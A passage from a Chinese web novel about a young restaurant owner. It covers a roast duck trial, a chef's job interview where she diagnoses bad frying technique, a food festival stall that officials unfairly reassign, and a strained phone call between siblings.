饼皮虽薄，却很柔软，而且很有韧劲，齿尖戳破之后，喷香的烤鸭肉质细嫩，烤过的外表皮酥香十足，咀嚼间，有油脂在口腔中爆出，满嘴流油。 “好香～鸭肉好嫩，这果木烤出来的鸭子真的不一样，那股果香味好清新。” 按理说，烤鸭肉质肥美，外皮流油，该是很油腻才对，但陆向安吃着完全没有。 卷饼中的黄瓜丝、葱丝这些配菜清脆爽口，味道偏清新，刚好中和了烤鸭的油腻，很解腻很好吃。 而且果木在燃烧过程中，长时间释放出清淡的果香味，将鸭子也染上了一层果香，吃起来特别爽。 江映槐吃的时候，却不是第一时间拿起饼皮，而是先夹了一片鸭肉蘸了点白砂糖吃起来。 咬一口，咔吱脆的除了白砂糖以外还有枣红色的鸭皮。 果木甜香丝丝缕缕地融进了烤鸭中，让烤鸭肉质散发的香味变得更加香醇浓郁。 酥脆的鸭皮下，是多汁柔嫩的鲜肉。 搭配着白砂糖，更香甜了。 好香好脆，甜滋滋的，好好吃！ “唔～这个皮好脆！”江映槐又夹了一块鸭肉吃掉，嘴里都是浓郁的烤鸭味，“我家那边也有烤鸭卖，不管是贵的便宜的，我都吃过，但从来没吃过这么香的烤鸭，真的太好吃了。” 江映槐吃了几块鸭肉，才去拿饼皮。 饼皮薄如蝉翼，轻轻一张，还透着光，嚼起来韧韧的，很有嚼头。 季初曼也感叹道：“我以前是不吃鸭皮的，但这个鸭皮真的烤得好酥香，还有一种果香，又甜又脆，根本停不下来。” “好吃就多吃。” 庄凝冬笑着说，发现烤鸭快没了，又去里头拿了点出来。 这次做了好几只鸭子，他们几个是肯定吃不完的，庄凝冬想着等他们先吃过瘾了，再把剩下的拿出去送人。 庄凝冬端着烤鸭出去的时候，有个顾客气喘吁吁地走了进来，问有没有粽子卖。 陆向安：“啊？粽子？那都是好几天前的事了，现在端午过了，店里不卖粽子了。” 江映槐笑了下：“姐妹，你现在这个点来，别说限定的粽子了，就是店内常驻的菜式也早就卖光了。” 闻言，田可佳看了眼时间，已经一点多了。 确实是她来晚了。 不过她也没办法。 她是第一次来这边，对这边的路况不太熟悉，缺德导航又带着她乱绕路，导致她来晚了。 “啊……这样啊，”田可佳不死心，又问了一遍，“那个，粽子真的没有了吗？之后都不会再做了吗？就没有一丢丢的商量余地？” 田可佳是在朋友圈看见有人转发那篇推文，才知道这里有很好吃的粽子的，不过当时她人正在其他地方旅游，便等旅游完回来再找时间来买了。 谁知道，这个粽子竟然是端午节限定！ 她一个溪城本地人，竟然没能吃上溪城店铺的粽子，这合理吗？！ 庄凝冬把烤鸭放好，对田可佳说：“抱歉，粽子是暂时不会再做了。” 前几天，当店里其他老顾客知道粽子没了的时候，也是一片哀嚎，期间买到的吃过了的就说自己还没吃够，而没买到的哭得就更惨了。 但庄凝冬不为所动。 在庄凝冬看来，食物也要应节吃才有那个味道，要是放在平常随随便便都能吃到，那等到过节那天多少会缺了点独特性。 也没有过节的兴奋和期待感了。 所以，庄凝冬就没再继续做粽子了。 “不过……店里现在有烤鸭，你要来点吗？”庄凝冬问。 “烤鸭？” 田可佳其实对烤鸭不太感兴趣，她是为了粽子而来的。 烤鸭在她看来非常的油腻，吃一口得喝大半杯水解腻。 但她来的这一趟不是为自己而来的，她还要给她的合租室友带饭。 田可佳想到这，打了个电话问对方吃不吃烤鸭，得到肯定的回复后，田可佳把电话挂了，买了一份。 反正她是不感兴趣。 等会儿再去附近买点别的东西回去吃好了。 在庄记这里买完烤鸭，田可佳又去别处买了份螺蛳粉才回去。 她的室友叶思是一个设计师，随时随地只要上级对她的设计图有什么不满都得立刻加班加点改的那种。 原本今天她们打算一起去庄记的，没想到叶思突然来了工作。 田可佳只好一个人去了。 “辛苦你了佳佳！爱你！”叶思看见田可佳回来，从屏幕前抬头隔空给了她一个飞吻。 田可佳乐着回了一个，问：“还没改完图？” “没呢，狗日的！真的诸多要求吹毛求疵，又不一次性把要求说清楚，非得等我改了才说哪哪哪又有什么问题，气死我了。” 叶思吐槽着，又骂了领导几句，田可佳安慰了她一下就提着她的螺蛳粉到一旁吃了起来。 盖子一开，螺蛳粉那股霸道的味道瞬间弥漫开。 叶思平时也会吃螺蛳粉，她此刻闻着酸笋的味，听着田可佳嗦粉的声音，后知后觉感受到肚子传来了饥饿感。 还是先吃午餐吧。 可不能因为加班就苦了自己。 叶思拿过自己那个袋子，把里面的东西一一拿出来整齐地摆放好。 嘿，上面还有专属logo。 挺好看的咧。 除了一盒大的烤鸭，还有其他一些比较小巧的透明盒子，里面装着黄瓜丝、葱丝和一些酱料。 掀开装着烤鸭的盖子，一股烤制过、且伴有淡淡果香的味道溢了出来。 是鸭肉的香味！还有高温烤过的油脂香。 闻起来就甜甜的。 烤鸭被片得十分均匀，不仅大小一致，就连厚度也是一样的，鸭皮最外层呈现出枣红色，红得透亮，因为经过高温炙烤，最外层还紧致得微微皱起一部分纹理。 在视觉和嗅觉的双重刺激下，叶思被香得口水直流。 她连忙拿起了一张饼皮，摊着手心，迅速往里面塞了鸭肉和一点配菜就胡乱塞进了嘴里。 柔韧的饼皮包着片片厚薄均匀的烤鸭，一口咬下去，能清晰感受到鸭皮的香酥脆，肉质的汁水就此爆开，迸发出香香甜甜的味道。 除此之外，还有清淡却不容忽视的果香。 “靠，好正宗的烤鸭！”叶思挺爱吃烤鸭烧鸡这一类烤过的食品，以前去旅游的时候也去过盛产烤鸭的地方吃过当地的特色烤鸭。 那味道，只能说不愧是当地的特色。 好吃麻了。 那时候吃过的烤鸭让叶思非常念念不忘，可惜了，就是太远了，她一个社畜，也没那么多钱经常大老远地跑去那，于是只能干想着。 但现在，目前吃到的这份烤鸭，似乎比之前吃过的要好吃多了。 “这个烤制的火候和时长，也掌控得太好了吧……” 叶思吃着，能感受到不管哪一块鸭肉，它的口感都是一样的。 皮是一样的脆，肉是一样的嫩。 她吃过的烤鸭多，像有些店铺在这方面掌控得不好，就容易在同一只鸭子身上，对一些部位烤制时间过长，而在其他部位上烤的时间又太短，就会导致口感不一的情况出现。 譬如有些地方过老发柴，有些地方吃起来又好像没熟的样子。 但这份烤鸭就不一样。 不管从哪方面来说，都特别完美，是叶思吃过最好吃的烤鸭了。 叶思越吃越香，手下卷饼皮的动作也不断加快，像是有几十个人在她身后追着她跟她抢似的。 这吃相，用狼吞虎咽来形容也不为过。 “佳佳，这份烤鸭你真的是在他们买粽子的那家店买的吗？” 田可佳：“是啊，你看上面还有logo呢，怎么了嘛？” “噢对，瞧我都把logo给忘了，没什么，就是觉得太好吃了，感觉是专门做烤鸭的店铺才做得出来的美味罢了，哦不，有很多专门做烤鸭的店都做不出来这种程度的美味，真的好吃哭了。” 田可佳不禁笑了下，有那么夸张么？ 不过很快她就笑不出来了。 那股香喷喷的烤鸭味不知道从什么时候开始见缝插针地钻进了她的鼻腔。 就连霸道的螺蛳粉都压制不住它的味道…… 叶思吃着，嘴里的还没咽下去，新的一张饼皮就已经摊好在手心了，她正要夹，却发现田可佳不知道什么时候已经来到了她面前。 在紧紧盯着她。 叶思：“？怎么了佳佳。” “你的烤鸭闻起来也太香了……”田可佳说。 “何止，它的味道还特别好呢，是我吃过最好吃的烤鸭了。”叶思说起来就停不下来了，因为她是真心喜欢这份烤鸭，也是真觉得它很好吃，所以一谈起来就容易真情实感。 叶思说着，问田可佳要不要来点：“不过我记得你不是不吃烤鸭吗？” 要是她吃的话，刚刚就可以自己买了。 “我是不吃烤鸭，但是这份真的太香了，我想尝一丢丢。” “那你吃点。”叶思说：“你吃不了太油腻的话，可以用饼皮像我这样把鸭肉和黄瓜葱丝都包起来，也可以往里面加点酱料，这样一起吃就不会觉得腻了，多种食物加起来口味也会比较丰富。” “好。” 田可佳按叶思说的，把这些食材都卷了起来就送进了嘴里。 一吃，然后脸上不禁露出惊艳之色。 这味道！ 她三两下胡乱吞掉：“太好吃了吧，也不知道这个烤鸭是怎么做的，吃起来外酥里嫩，肉质还甜甜的。” 而且里头还包着水分充足的黄瓜丝，咬下去咔吱咔吱的，清脆爽口，那点清爽的黄瓜汁中和了烤鸭的油腻，根本停不下来。 “是吧，这份烤鸭的巨好吃！发现宝藏店铺了，虽然那个粽子没吃着，但还好有烤鸭弥补回来了。” 田可佳看着，回味着，她还想再吃。 可那是叶思的午餐。 她不好意思再要了。 初次尝到烤鸭美味的田可佳不禁流下了悔恨的泪水。 她当时在店里的时候为什么不多买一份？！ 为什么会对烤鸭不感兴趣？！ 别问，问就是后悔。 后面还是叶思看出了她的心思，主动问她要不要再来点，田可佳瞬间亮起星星眼。 “真的吗？真的可以再来点吗？” “可以啊，吃完了下次再去买就好了。” “思思你人实在太好了，谢谢你！” 当时的她们都是想着吃完还可以再去买的，然而谁知道，等她们再去的时候，店里根本没得卖了。 “什么？！没有烤鸭？” 田可佳不可思议地重复了一遍对方的话，有点急了：“可是，可是我上次就是在这里买的啊。” 江映槐对她有点印象，想起当天的事，解释道：“那是你那天来得巧，我们正在试新品呢，现在新品还没正式开始售卖，所以——” 闻言，田可佳和叶思肉眼可见地失落起来。 陆向安：“咱们店里其他菜也都非常好吃，我觉得你们可以都尝尝啊，你想想，一个能把烤鸭做得那么好吃的粽子店，做其他能差到哪里去呢？” 田可佳知道他看出自己一开始是为粽子而来的，也知道在她眼里，这家饭馆就跟粽子店没区别。 所以他是在调侃。 田可佳有点不好意思，跟叶思商量一下，还是点了其他菜。 吃过之后，均是眼前一亮。 味道确实很好吃哎！ 不过其他顾客就就没那么好哄了。 他们自然听见了田可佳的话。 都不敢相信。 什么？有烤鸭卖？为什么他们不知道？！ 第65章 第65章 “为什么那个小姐姐能买得到烤鸭？不是说烤鸭会在往后一段时间才上线的吗？” “你是不是在欺骗我们的感情？” …… 当陆向安被一堆顾客围住的时候，整个人都有点不知所措了。 汗流浃背了，真的。 江映槐幽怨地看了眼他，就在她准备跟顾客解释时，陆向安先开口了： “大家先安静一下，都听我说……”他抬了抬手，先稳住了场面，等四周安静下来，再一一解释：“是这样的，那天我们店里刚好在研发、尝试烤鸭，而那位小姐姐一开始是为了粽子来的，大家都知道我们店里早就没有粽子卖了，所以她肯定买不到了啊，老板人好，不想她跑空，就问她要不要烤鸭，事情就是这样。” 陆向安清了清嗓子，继续道：“大家都知道我老板人好吧，也不是第一次专门补偿跑空的人了，所以大家也都别嫉妒了，反正烤鸭也是迟早会上的。” 末了，陆向安瞅了眼后厨，故意压低声音道：“不然你们再继续闹下去的话，小心老板变得铁面无私一视同仁，到时候谁也别想讨着什么好处。” 大家听完后，齐齐沉默了。 这话说得也是啊，万一老板看他们因为这些小事吵了起来，为了让他们以后都不要吵架，说不定是真的会减少这方面的福利，可能连上线新品的频率都会降低。 那样就得不偿失了。 更何况，他们之中，很多顾客都是从店铺无人问津的时候跟着一起走到现在的，经历的时间也长点，自然知道老板人有多好，也都接受过老板赠送的新品。 总不能现在因为别人意外买到还没上线的新品就在那闹吧。 “咳，其实我们也没有要闹的意思啦，只是多多少少有那么一丢丢酸，没事哒没事哒，我不过就是一个从来没有过这么好运的小女孩罢了。” “加一，除了之前到店消费就会送东西的活动，像什么因为来得太晚错过了想买的菜式然后意外得到了其他菜式的事，我从来没有过，你们说，人怎么能倒霉成这样？想哭了。” “没事，放平心态，能这么好运的人还是少数，其实大多都是我们这样的人啦。” “好吧，既然这样，那我们就不计较了，但你能不能跟我们说说烤鸭到底什么时候上线啊？” 顾客们纷纷附和道：“是啊，就算要等也让我们有个盼头吧。” 陆向安为难：“这个真不能说，不然我怕你们等得更辛苦。” 顾客们：“？？？” 看来还得好久，彻底心死！ …… 这个小插曲很快过去。 江映槐打着单子，偶尔看了一眼陆向安，这个探究的眼神让陆向安心里发毛：“看我干嘛？我脸上有东西啊？” 江映槐收回目光：“没。” 只是觉得这个人……也还行，至起码有责任有担当，不会一出什么事就躲起来。 有了之前有人来闹事的前科，庄凝冬现在在后厨干活的时候都会时不时注意着前方的动向，在看到陆向安成功安抚好顾客后，她也松了口气，可以放心做菜了。 下午的时候，庄凝冬约了几个人来面试。 这次招的是厨子，来的都是有过厨子经验的。 要应聘厨师，那上手实践是不可避免的。 庄凝冬都先了解了一下他们的基本情况，然后才让他们上手做道菜给她看。 来应聘的几个，有让回去等通知的，俗称待定，也有当场就拒绝了的，也就是淘汰。 被淘汰的是一个上了年纪的老师傅。 他当了多年厨师，在好几家饭店工作过，技术是一直被家里人捧着赞赏的。最近下岗在家待了一段时间，这不，听见有家火的饭店在招厨子后，他就连忙赶来了。 一看，老板是个小丫头片子，能懂什么厨艺。 想来以他的能力，定是随便做个菜就能通过面试了。 结果谁知道……对方就只站在一旁光看着，连尝都没尝过他做的菜就将他否决了，更是让他气打不过来。 “贵店就是这种态度对待面试者的吗？连吃都没吃就把人拒绝掉，该不会是利用招人的噱头，来让我们展示手艺好方便自己偷学吧？” 庄凝冬听见这句话后也不禁蹙起了眉头。 只不过还没等她说什么，江映槐就冲动地上前一步：“你什么意思？！自己没本事没被选上就算了，在这阴阳什么呢？我师父是什么人还需要偷学你那三脚猫——” 话没说完，就被庄凝冬拉了回来：“别急，有我，让我来跟他说。” 庄凝冬从头到尾都十分冷静，她看了眼这位师傅做出来的炸鸡块，有力道：“制作过程我全程都有在看，每个步骤哪里做得不够到位，出了什么问题我一眼就看出来了，自然知道这道菜的味道会是什么样的，就这还要品尝的话，我认为是多此一举的，大家的时间都很宝贵，有些不必要的环节就不需要走流程了。” “如果你觉得不服气，可以来问我你哪里做的有问题，而不是上来的恶意揣测。” 庄凝冬说着，端起了他做的那碟炸鸡块：“首先，你炸鸡块的时候油温还不够呢，你就急着把它们倒下去了，油温不足，鸡块在油里炸制的时间就会拉长，而一开始，没有足够的高温让鸡块表面形成防水层，那食用油就会在长时间里慢慢渗透进鸡块里，让它变得非常油腻。” “除此之外，鸡块内部也会因为炸制时间过长而变得又老又柴，这也只是口感变差了点而已，还是算好的情况，如果你做的不是炸鸡块，是炸丸子那些需要定型的食物，油温不够，它们下了油锅都散了，根本等不到你把这样菜做好。”你就可以收拾收拾走人了。 庄凝冬一直在看着面前那位老厨师，注意到他的脸色由一开始的不可思议慢慢涨得通红。 可谓是精彩纷呈。 “所以我不用吃就知道你这份炸鸡块绝对是又老又柴，还油腻反胃的，你如果觉得这是我的一面之词，可以让其他人来尝尝，但我觉得你心里应该是有数了。” 现场其他来面试的厨师还没走，他们闻言，都上前拿了一块鸡块吃了起来，然后面面相觑，小声地讨论着：“好像是哎，就是很油，我吃一口就腻得不行了，而且里面的肉质好老，根本咬不动。” 那位老厨师的脸色在周围的议论纷纷下更难看了。 他回想起刚刚，在准备下鸡块的时候，余光就好像看到庄凝冬轻轻摇了一下头。 他当时并不注意，现在回想起来才恍然发现对方应该是隔着一段距离就看出了油温不够。 而他站那么近，甚至用手掌感受过，都没察觉出来。 这位老厨师显然没想到庄凝冬看着年轻，能力却这么强。 一时间，面子上有点挂不住。 他找补道：“那，那只是我一时出错罢了，你再让我来做一道菜，绝对不会出任何问题。” “不了，不管你刚刚是不是真的一时出错，你对我们进行恶意揣测可不假，就算你的技术没任何问题，我也不会录用你，我们店铺不需要你这种人品道德有问题的人。” …… 那人走了之后，江映槐还气得对他的背影呸了几下，嘴里还骂了几句，随后就是绕着庄凝冬吹捧了：“师父你刚刚真的是帅爆了！好喜欢你一字一句铿锵有力把他怼得哑口无言的样子，啊啊啊好帅好想嫁！” 庄凝冬笑着拍了拍她：“别乱说。” 是指最后那句话。 虽然知道她是口嗨的，但这种话对庄凝冬这个古人来说，亲耳听到这样的话还是有点杀伤力的。 其他未走的应聘者看完事发全程，对庄凝冬的敬佩又加深了不止一点。 有人哪怕知道自己大概率不能留下也能谦虚地向庄凝冬请教一二。 能得到这么厉害的厨师指点，这一趟面试来得不亏！ 下午面试完几个厨师，庄凝冬简单整理了下他们各自的优缺点。 她打算等之后几天面试完其他的再权衡做打算。 几天后，又面试完一批，庄凝冬在整理好的名单里挑了四个。 在经验方面，他们不一定是时间最长的，但他们都是综合能力比较突出的。 在庄凝冬看来，有时候工作经验时间长并不意味着什么，经验和能力不成正比，她要的还是有能力的人。 这样培养起来比较省时，效率也高。 除此之外，还要求他们有一定的创新能力，希望后续可以多点研发新品，不能单单只靠她一个人。 招了厨师之后，庄凝冬更忙了，忙着做菜，忙着教他们，起初“独占”庄凝冬一个人，只要有问题，一问，马上就能得到回复的江映槐此时受到了冷落。 退一万步来讲，她的师父就不能只教她吗？ …… 随着时间一天天流逝，美食节那边的流程也在推进。 这天，到了抽签环节。 是在官方推出的小程序上抽。 庄凝冬人坐在电脑前，她周围围着江映槐他们几个人，奶奶一如既往地在一旁笑眯眯地看着。 店里人多了起来，熟悉的小伙伴也多了，日子多了几分喧闹和快乐，看着就舒服。 抽签还没到时间，江映槐就不安起来了：“不知道为什么，比我当年查高考分数还要紧张。” 陆向安安慰她：“不怕啦，就算抽到——” 江映槐听着，心脏突的一跳，这熟悉的话语……生怕他又说出来不吉利的话，江映槐赶紧打断他：“闭嘴！” 陆向安懂了，陆向安闭嘴了。 随后，江映槐又问：“师父，你的运气咋样？” “运气？这……我也不知道。” 在庄凝冬看来，一切的事物发展都有它的道理。 她这个人，很乐观，所有事都看得很开。 毕竟是福不是祸，是祸躲不过。 庄凝冬虽然不懂一个美食节有什么好紧张的，但她还是询问了江映槐：“要不你来抽？” 江映槐连忙摆手：“不不不，还是算了，我不太行。” 而后庄凝冬又看向季初曼和陆向安。 他们两人也都拒绝了。 最后，还是由庄凝冬来抽。 等倒计时一结束，上面的抽签按钮亮了起来，庄凝冬随手一点。 出现了一个位置编号：A1。 “A1是哪个位置？在哪里的，好还是不好啊？”江映槐不太敢查，就在一旁催促着陆向安。 “别催……”陆向安打开了官方公布的位置图，一眼看到了那个编号，脸色一喜：“是最好的位置！你们快看！就在入口那里，人们一进来就能看得到！” 江映槐：“太好了！天时地利加上人和，这次肯定能上电视！” 他们几人叽叽喳喳地，已经开始大胆畅想之后上电视的事了。 庄凝冬听着听着，脑子突然想起来一件事—— 毕业答辩通过后，因为没有再学习金融那方面知识的必要，庄凝冬就没再登录过那个网站了。 她好像，把那个网站上的某位大佬给忘了…… 第66章 第66章 虽然庄凝冬跟那个神人素未谋面，但不管怎么说，彼此也互相交流过，从某种程度上来说，应该也算认识了吧。 这样一声招呼不打就直接消失似乎不太好。 也不知道对方有没有继续给自己发消息。 庄凝冬莫名有点心虚。 跟他的事庄凝冬没法和其他人解释，只好找了个借口先从喧闹中离开。 回到楼上打开了自己的电脑登上那个网站。 一登上，还真有好几条消息进来了。 最开始—— 没意思：[红烧肉会做么？] 两天后—— 没意思：[？你是在偷偷学吗？] 三天后—— 没意思：[不会就不会，直面真实的自己，没必要偷学完之后再教我。] 五天后—— 没意思：[还没学完？] 七天后——- 没意思：[？Hello？] 十天后—— 没意思：[。] 十一天后—— 没意思：[需要报警吗？] 最新的一条，是昨天晚上发的：[再不回就报警了。] 报警？！ 这个误会闹得还挺大…… 免得真的惊动了警察，庄凝冬连忙回道：[我在，人好好的，没出事，不用报警。] 庄凝冬想了想，又加了几条解释：[最近这几天在忙，没空上这个网站，所以没能第一时间回消息，不好意思，让你担心了。] 等了一会儿，对方没回，庄凝冬觉得自己还是得问清楚，“你不会真报警了吧”这几个字在输入框还没来得及发出，对话框就弹出了一条消息： 没意思：[你想多了，没担心。] 没意思：[我只是怕灵异法制事件在身边上演。] 没意思：[我胆子还挺小的。] 庄凝冬：“……” 庄：[好，现在没事了，你不用怕。] 庄凝冬想了想，还是决定跟他说明情况：[我以后应该很少会上这个网站了。] 没意思：[？] 庄凝冬找了个说得过去的借口：[我转行了。] 庄：[就，不需要怎么学习这方面的知识了。] 没意思：[不需要就不来了？] 庄：[是啊。] 没意思：[哦，嫖完就走的意思。] “……” 听着怎么怪怪的。 说得她好像一个负心汉一样。 庄：[……不是这个意思。] 庄：[你要是有什么想问我的，也可以继续问，只是我回复的时间可能不会太及时，不会不理你。] 庄：[如果你不想等太久的话，也可以加个私人联系方式。] 没意思：[哦，问我要联系方式来了。] 没意思：[可不是所有人都能拿到我联系方式的。] 这话庄凝冬没觉得有什么问题。 在现在这个时代，个人隐私信息非常重要，联系方式确实私人了点。 她也不强求。 那头的傅修霁刚截好图，正要把自己的二维码发过去，就看到对方发来一条新的消息：[好，那就不加。] 傅修霁点在那张截图上的手一顿：“？” 庄：[到时候就只能麻烦你多等些时间了，我不忙的时候会尽量上来看看的。] 没意思：[……] 庄：[我准备去忙了，你还有什么想问的吗？] 那头的傅修霁看着这句话，一秒钟换了几个姿势，怎么都不得劲。 没意思：[忙，都忙，忙点好啊。] 庄凝冬没听出他的阴阳怪气，反而一本正经地想：他怎么不回答后面那个问题呢？ 于是，庄凝冬又问了一遍：[你还有什么想问的吗？] 没意思：[没，不敢耽误忙人。] 庄：[算不上耽误。] 傅修霁：“……” 这人是缺心眼吗？ 听不出来他在阴阳？ 懒得再多说。 傅修霁都要退出了，又看见对方问—— [对了，那个红烧肉的配方和教程你还需要吗？] 傅修霁：“……” 没意思：[要。] 给“没意思”发了红烧肉的配方和教程后，庄凝冬才退出这个网站合上了电脑，下楼去备菜准备晚上即将售卖的菜式了。 美食节的持续时间有两周那么长，到时候要去指定地点支起摊位营业，庄凝冬肯定要在那么看着的。 现在新招的那批人还没培养好，没法独立完成店里的推出的菜式，为了保持原有的口碑，庄凝冬打算在美食节期间，先停止这边店铺的营业。 把重心放到美食节那边。 既然这样，就得提前跟顾客知会一声。 陆向安比了个“OK”的手势：“包在我身上。” [@庄记饭馆：一觉醒来，我重生了，重生在美食节前，这一次，我发誓要夺回属于我的一切，7.2-7.16期间，欢迎前往人民广场A1摊位，聆听我的复仇史。 PS：分身乏术，这期间只能在A1摊位聆听复仇史，别跑空了。] 这段时间，由于陆向安的积极营业，官号涨了不少粉丝，现在是随便发条动态，底下评论都能轻松过千了。 动态一发出，陆向安随意刷新了一下，底下就蹦出了许多评论： [？？？什么玩意儿？] [你是怎么做到每次的文案都这么抽象的？] [我来翻译一下，大概就是庄记要去参加美食节了，在7.2-7.16期间，都会在人民广场A1摊位营业，在那边摆摊的话，店铺这边就不开店了，让我们别跑空。] 陆向安点赞了这条评论并回复了一个表情，把它顶了上去让更多人看到。 [楼上的，谢谢你，我差点没看懂。] [什么？庄记报名参加美食节了？太好了！我之前听到溪城要举办美食节的消息时，还在想庄记会不会参加，现在看到庄记说会在后我就放心了。] [所以……这次是停止营业两周？！不……我接受不了这个事实！] [也不算完全停止营业吧，在人民广场那边不是也会摆摊么，虽然提供的食品可能没店里的那么多样，但好歹比之前停止营业一周要好，那会儿想吃都完全吃不到，才是真正的噩梦。] [有道理，被你这么一说，好像也不是不能接受了，虽然人民广场离我家有点远，但我一定会准时去支持的。] …… 美食节正式开始前三天，各商家可以前去布置场地了。 现在还没正式开始，庄凝冬他们也没什么要提前放好的工具，重要的也只有那一个炉子而已。 就做了一些简单的布置装饰。 那头江映槐还在指挥着陆向安，庄凝冬和季初曼也在商量着怎么弄会好看点。 不多时，一个穿着工作服的人走了过来，拿着一张表，问他们这里是不是庄记？ 庄凝冬：“对，怎么了？” 工作人员：“你们的位置弄错了，不是这里。” 说着，他指了指表上方的另一个编号：“你们应该在这里才对。” 几人上前看了眼，那是在最里面的位置。 看完后，庄凝冬蹙眉：“可是我们那天在小程序上抽到的签就是这个位置啊。” 庄凝冬拿出手机，打开那个小程序的抽签记录，给工作人员看。 工作人员轻飘飘地瞟了眼，全程都不知道有没有一秒，就摆了摆手，拿出提前准备好的说辞：“那天的抽签出了问题，你们的位置确实是不在这了，尽快搬吧。” 江映槐看到那个位置编号就火大：“什么意思？抽签有问题？出了什么问题？如果是程序出现错误，那应该是全部商家在程序上重新抽过吧，有这样直接通知的？” 陆向安也上前来：“而且我看其他摊位上的商家并不需要换位置啊，怎么，只有我们的位置出错了？” 工作人员没想到这商家那么难缠，以往遇到的那些，通知一声之后都是心照不宣地搬走的，哪有这么咄咄逼人揪着不放非要他给个说法的？ “行了，让你们搬就搬，哪那么多废话呢？” 庄凝冬懂了，不是程序出了问题，只是他们刚好抽到了最好的位置上，而刚好又有别人需要这个位置，所以他们理所应当地被换了下去。 “凭什么？位置是我们公公平平抽来的，你说让我们搬我们就得搬吗？” 江映槐从小到大就没吃过什么不公的亏，遇到什么不服的都是当场就刚起来的，此刻她也不肯让步。 工作人员也烦了：“不搬是吧？那我就喊人来把你们请走。” 江映槐还想说点什么，被庄凝冬拉住：“算了。” 庄凝冬平静地看着那个工作人员：“我们会搬。” “算你们识相。” 工作人员说完就走了。 江映槐的气还堵着：“师父，你怎么拦着我呢？这是他们那边的问题啊，跟我们没有关系的呀，为什么态度不强硬点？” 像这种事，以前在大燕朝多的是。 平民百姓也没什么背景，自然讨不着什么公道，早已习以为常。 “我们没有跟别人叫板的资本，”面对这样的事，庄凝冬也很生气，却也无能为力，是真的没办法，“要是到最后真的吵起来，说不定还会把我们踢出去不让参赛呢。” 江映槐气得不行：“不参加就不参加，七月的天，这么热，因为这个破美食节要在这热两周，谁稀罕？！还不如待在店里呢。” 庄凝冬笑着安抚她：“不是说想上电视？” “现在没那么想了……”江映槐想到即将要搬的新位置，心情更不好了，咕哝着：“而且新摊位在最里头，等人们逛到里面，早就吃饱了，谁还来买我们的东西给我们投票啊？依我看，能不能挤上前五名都悬，还上电视呢……” 陆向安：“还是得对老板的烤鸭有信心，更何况我们还有那么多老顾客，他们都说会来支持我们的。” 这么说好像也是，不过季初曼还是不太抱希望：“现在还没开始就出现幺蛾子了，后续也不知道会不会继续针对我们呢，还是别想得太美好了。” 庄凝冬：“见一步走一步吧，反正咱们店铺开得好好的，又不指望这个美食节能干嘛，就当是一次新体验了。” 他们现在也只能这样了。 不过江映槐还是有点顺不下这口气。 中途休息，江映槐跑到一个角落，拿着手机来回踱步，脑海中经过一番强烈的天人交战后，最终还是点下了通讯录的某个号码。 1秒，2秒，3秒…… 江映槐又猛地挂断。 她忘了一件重要的事—— 强龙难压地头蛇。 在溪城这个地方，她未必能出这口气。 算了，要不先这样吧。 唉，就当离家之后经历的第一个磨难吧。 江映槐收好手机正要回到摊位上，手机铃声却响了起来。 是她刚刚拨了出去又掐断的电话号码。 现在打了回来。 第67章 第67章 江映槐心慌了一下，挂断。 那头秒拨了回来。 见躲不过，江映槐只好接听，声音有点虚：“喂？有事吗？” 那头的男声一如既往的冷淡：“不是你给我打的电话？” “手滑了。” 江映槐嘴硬，听见电话那边陷入了短暂的沉默，随后传来一阵似有若无的叹息：“给你转了一笔钱。” “……我不缺钱。” 电话里的声音有些许不悦：“不缺钱你能打两份工？” “我哪有打两份工？” “自媒体和服务员。” 江映槐猛地一个激灵：“你怎么知道我有做自媒体？！” 服务员这个不难猜，如果对方知道她在G站上有账号，但凡关注一下都能知道她的下落。 重点来了，如果对方知道了这件事，那是不是说明，其他人也…… 对方的下一句话，马上印证了她的想法—— “不止我知道。” 就这么一瞬间，江映槐脑海中闪过自己在G站上的所作所为以及各种“光荣事迹”，这跟在熟人面前裸。奔有什么区别？ 江映槐心如死灰地闭上眼，声音有点抖：“都，都有谁知道……” “爷爷。” “爸妈他们呢，他们也知道吗？” “这我不清楚。” “……”江映槐沉默了。 那头接着说道：“行了，闹够了就回来吧，爸妈他们——” 江映槐本来就烦，那点火气如今被轻而易举挑起，更是直呼对方大名：“我闹？江承泽，我真的很烦你们在这件事上自以为是，凭什么我不听从安排就是在无理取闹？” “够了你不要再说了，总之我是不会回去的，有本事你们就来绑我走。” 另一边的江承泽眉头皱得紧，还没来得及说什么，听筒就传来冷冰冰的嘟嘟声。 江映槐把电话挂了。 江承泽想也不想就把电话打了回去，然后发现，江映槐把他的联系方式都拉黑了。 江承泽烦躁地呼出一口气。 他这个妹妹脾气大得很，有时候他的话明明不是那个意思，但就是能被她解读出一层能轻松挑起她火气的意思。 为此，他们兄妹二人没少吵架。 过了片刻，江承泽重新翻起文件。 算了，反正她现在过得也挺好，不回就不回吧。 等过段时间再找机会聊一下。 * 江映槐放完狠话后其实是有点后悔的。 他们现在肯定都知道她的下落，说不定是真的会来把她绑回去。 到时候师父也不好留她吧？ 唉，早知道就不要把话说得那么满了…… 重新回到摊位上，庄凝冬看出她脸色不太好，关切地问了句：“怎么了映槐？是哪里不舒服吗？” “是不太舒服。”江映槐没说实情，把被抢摊位的事拉出来当做挡箭牌：“被刚刚那个工作人员恶心的，气得我在心里骂了他几十百遍都不足以泄愤！” 庄凝冬顺了顺她的毛：“你要是实在咽不下这口气，我们也可以退出，这样之后就不会再受到什么不公的待遇了。” 可江映槐也不乐意：“退出？才不要，我倒要看看是什么妖魔鬼怪抢了我们的位置！我还要看看，是不是换了个最好的位置就能一步登天了。” 搬好摊位，布置好之后，庄凝冬一行人离开，准备回店里。 路过A1摊位的时候，几人都不由地往那边看去。 摊位上有几个人在忙活着，其中站着一个中年男人在指挥，看上去应该是这个摊位的老板了。 是一张很陌生的脸庞，摊位名字也没听过。 陆向安装作路人过去打探消息的时候，对方还笑眯眯地跟他搭话，一个劲吹捧着自己的东西，还让陆向安到时候一定要来捧场。 起初庄凝冬还以为自己又无形中得罪了什么人，所以位置才会被换掉。 现在看来，并不是。 他们互不认识。 大概就是那个摊主自己抽到不好的位置，又刚好认识有内部人员，所以就这么把位置换掉了。 而被换的那一方，便是抽到A1的倒霉蛋了。 哪怕不是庄凝冬，也会是其他人。 看来这种情况不是第一次出现了。 “害，挺正常的其实。”陆向安虽然也生气，但也只能自认倒霉。 对于这件事，大家都心知肚明。 不过，心知是一回事，不服也是另一回事。 江映槐直接化愤怒为动力，充满赶紧，似是跟那商家杠上了。 摊位换了位置，势必要告知其他顾客，免得他们跑错，还给那个商家引流。 